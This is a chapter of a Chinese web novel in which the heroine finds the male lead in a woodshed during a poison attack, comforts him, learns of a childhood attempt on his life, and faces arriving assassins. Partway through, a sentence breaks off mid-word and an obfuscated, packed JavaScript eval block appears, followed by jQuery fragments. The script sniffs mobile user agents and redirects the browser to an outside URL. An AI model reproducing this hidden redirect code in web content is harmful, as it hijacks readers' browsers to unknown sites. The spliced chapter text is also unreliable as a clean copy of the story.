12. 第 12 章

作品:《跑路后被疯批男主抓回成亲

    自那日之后,南阿蛮一连二十几日都没有看见谢真。


    就像谢真在故意躲着她一样。


    她整日闲来无事,就在雪月园里走走逛逛。


    没有谢真那个小疯子,系统也破天荒的没有让她去找,她脑子里清净了不少。


    可....南阿蛮手肘撑在桌上,看着空荡荡的房间,目光似有似无地扫过门边。


    她前前后后来来回回走遍了雪月园,都没有看见谢真的影子。


    谢真不在雪月园的话,能去哪儿呢?


    南阿蛮在脑中想着一切可能,帝后这么不待见谢真,那个百里烬也一副阴恻恻的样子。


    谢真莫不是被他们暗算抓走了?


    南阿蛮在心中盘算着这件事的可能性,随即摇了摇头。


    按照谢真的身手和性子,如果被人暗算的话不把那个人的皮剥下来都算他善良。


    傍晚时分,南阿蛮裹上了厚厚的鹅黄色斗篷去外面走走。


    外边的雪仍旧纷纷扰扰地下着,总让人感觉这个冬日刺骨又漫长。


    不知不觉,南阿蛮走到了园中的梨花下。


    园中的梨花高大,树干粗壮,枝干伸向远方,像是在庇护这一方天地。


    腊月间,梨花树此时还未开花,树枝上光秃秃的,寒风吹过的时候,南阿蛮看见树枝摇摇晃晃的模样。


    南阿蛮手掌缓缓抚上树干,粗糙的树皮刮蹭着南阿蛮的手,在寒冬腊月间带来异样的感觉。


    谁能想到这里埋着孔嬷嬷。


    “虽然不知道为什么那疯子要把你埋在这儿,但据我推测,他对你也算是有爱有恨吧。”


    毕竟孔嬷嬷算是他人生中难以忘记的存在了。


    就在此时,南阿蛮脑中灵光一闪,有什么东西快速飞过,随即她猛地抬头,渐渐呼出一口气。


    有什么东西在她脑子里成形。


    她应该知道谢真在哪儿了。


    雪月园中只有一间房是上锁的,南阿蛮此前从未想到那里。


    而现在,她脚步轻盈,直奔柴房。


    不过片刻,南阿蛮看着外面的锁,拿起来看了看,随即轻轻一用力,那锁便断在南阿蛮手中。


    推门而入的一瞬间,南阿蛮首先被里面的霉味给呛到,喉咙发痒,鼻尖发酸,她剧烈地咳嗽起来。


    胸腔震动间,南阿蛮在一片昏暗模糊中看见坐在角落的人。


    黑色的衣袍,一脚曲起,一只手放在曲起的那只脚上,手中拿着在水镜台带回来的木偶。


    谢真低着头,在一片昏暗中看不清他的脸,也看不清他现在的状况。


    南阿蛮眼中的谢真,一身黑袍,整个人颓丧至及,甚至还能看见谢真在隐隐发抖。


    南阿蛮脚步微顿,直觉告诉她,谢真现在的状态很不好。


    只一秒,她便继续向谢真走去,脱下身上的斗篷罩为谢真披上。


    “消失了这么久,还以为你不在雪月园,让我好找。”


    “你这人真不够义气,玩捉迷藏也不是这么玩的。”


    她自顾自说着,好似在对一个假人说话。


    谢真却没有半点反应,只是周身气压极低,低到南阿蛮有些不适。


    她仔细将斗篷系好,正犹豫着要不要把帽子给谢真也带上时,谢真手指动了动,而后渐渐抬头。


    看到谢真眼眶的一瞬间南阿蛮心跳漏了半拍。


    谢真的眼睛在阴暗的柴房里闪着红色的光芒,里面装满了尸山血海,像在黑夜中蛰伏的野兽,神色冷漠又厌恶,看着南阿蛮一言不发。


    鼻尖传来阵阵让南阿蛮不舒服的霉味,但此时她的注意力全在谢真身上,这是她第一次看见谢真这个模样。


    谢真注视着南阿蛮,手上却将南阿蛮为他系上的斗篷扯下,随手扔在地上,说出的话明显力气不足。


    “谁让你来的。”


    “快滚。”


    系统的声音也在此时响起,向南阿蛮播报着谢真的现状。


    【检测到目标情绪波动,请宿主进行安抚,宿主在安抚时可适当亲近目标。】


    从南阿蛮这个角度看去,谢真消沉又悲伤。


    虽然她很不像和这个疯子共情,可她现在确实能从谢真的身上感受到浓浓的悲伤。


    她想,或许是看见谢真的异样时,突然反应过来,今日是十五,谢真蛊毒发作的日子。


    这样的谢真,让南阿蛮想到第一次见他的模样,被人架起,肆意羞辱。


    南阿蛮想了想,伸手抬起他的脸,拇指在谢真的泪痣上摩挲两下。


    而后伸手抱住他,将他整个人拥入怀中。


    谢真在错愕中被她环住,眼中红色光芒愈甚,他也不由得瞪大了眼睛,心脏在此时快速跳动,他能听见胸腔处的震耳欲聋。


    鼻尖传来淡淡香气,谢真嗅了嗅,是从身边的人身上传来的。


    除此之外,谢真还感受到久违的温暖。


    他从不用将温暖寄于热酒、暖炉、冬衣等一切无用的东西身上。


    但是这一刻,谢真觉得南阿蛮温暖极了,因为他的心在跳,血液在发烫。


    他突然有个想法:南阿蛮的血是不是也是香的,热的。


    余光处看到的雪白脖颈,谢真喉间微动,最终还是没有咬上去。


    不知过去了多久,谢真缓缓开口,“当年,就是在这里,她将一刀刀刺向我,毫不留情。”


    “十岁那年,她的儿子药石无医,为了救她儿子,她想要剖出我的心。”


    南阿蛮呼吸一滞,她没想到是这样。


    虽然早就猜到孔嬷嬷会对谢真下手,可她没想到,孔嬷嬷要剖心。


    “还好你活下来了。”南阿蛮轻轻拍着他的背,一直安抚他。


    南阿蛮将谢真放开,仔细检查他的状况。


    在看到谢真眼睛的一刹那,她看见谢真瞳孔短暂地变成金色,顷刻间又恢复正常,就连方才的红色光芒也不见。


    南阿蛮觉得,毒蛊发作的谢真实在太弱了,她抱着他时能感受到,他一丝力气都没有。


    风乍起,本就阴冷的柴房更加刺骨。


    南阿蛮将斗篷重新为谢真批好,对谢真道:“不许闹了啊,我现在抱你回去,你要是再发疯我就把你扔在这儿。”


    谢真从善如流地攀上了南阿蛮的脖颈,眼睛一直盯着南阿蛮看,酝酿着不知名的情绪。


    南阿蛮一步步走得十分稳当,踢开寝殿门时,一屋子的暖气扑面而来。


    她将谢真小心放在床上。


    几乎是在离开南阿蛮身上的那瞬间,谢真张了张嘴,用不知名的情绪问道:“为什么来找我?”


    南


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419984|168988||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    阿蛮一边为谢真倒茶,一边答道:“怕你死在外面。”


    话说完,猛然反应过来这话有些生硬,旋即改口道:“我是说,我担心你。”


    谢真不像之前那样满脸嘲讽,此时脸上多了几分认真。


    “你为何要担心我?”


    南阿蛮将水递到他面前,顶着谢真的目光道:“你死了,我就没有意义留在这世上了。”


    谢真突然笑起,“你知道吗?这是我听到过的,最好笑的笑话了。”


    南阿蛮不再说话,又将手中的杯子往谢真面前递了递。


    谢真目光灰暗,看着面前的茶水,突然抬手抓住南阿蛮的手腕,强行提起一口气,将南阿蛮拉到自己面前,另一只手环住她的腰。


    对她低语,“不如我们现在就一起死怎么样?你陪我一起死。”


    南阿蛮皱眉,果然又在发疯了。


    她稍微用点劲挣脱谢真,看着他,谢真嘴角不知何时挂上他的招牌假笑,似嘲讽似不屑。


    “你不愿意吗?”


    南阿蛮忍不住伸手谈了谢真的脑门,神色严肃话语也十分郑重。


    “生命是可贵的,不应该漠视自己的命。”


    谢真如同听到惊天笑话一样,“漠视?命值几个钱?你知道我杀过多少人吗?那些人在我手里撑不过两秒,轻轻一捏,脖颈就断了。随便一刀,气就断了。”


    “谢真!”


    南阿蛮打断他,眼中是前所未有的认真。


    “生命的价值无以衡量,或长或短,或许可归咎于命数。可你作为一条命的拥有者,不该这么看待生命,如果命真的这么低贱,那你为什么宁愿忍受折磨二十几年也不愿意一死了之。”


    南阿蛮几乎是吼出声,等说完之后才反映过来,自己做了什么。


    说好的要对他好,攻略他呢.....。


    房中的暖气将二人裹挟着,对于现在的两人来说,颇有些呼吸交缠的意味。


    南阿蛮暗自叹气,不该那么冲动吼他。


    她移开目光,不敢看谢真。


    谢真却想起十岁时苍溪找到他,当时他年纪小,不知道那是什么样的情绪,只知道他不想活了。


    苍溪将他的身世告诉了他,对他倾囊相授,告诉他关于母亲和巫族的事情。


    他好像从此有了活下来的理由。


    可只有他知道,在无数理由之下的,是日日夜夜煎熬的灵魂。


    他已经死了。


    良久,南阿蛮伸手,拉住他的衣袖才将他从思绪中带回。


    “抱歉,我不是那个意思。我只是想要你活下来,非活不可。”


    谢真眼神微动,那句为什么正要问出声,两人便同时看向门边。


    寒风簌簌,天幕沉沉。


    雪月园的门被人缓缓推开,十几位黑衣人缓步进入,衣着装束和水镜台那日一样,这些都是皇后豢养的死士。


    南阿蛮感受到外面传来的动静,逐渐握紧了拳头。


    那些人果然不愿意放弃今日的机会。


    她定了定心神,对谢真道:“你就在这儿,我出去看看。”


    说完又像是为了让谢真安心一样补充道:“别怕,相信我能解决。”


    话毕,南阿蛮站起身,眼睛看向门边,脑中对系统道:“系统,开启屏蔽功能。”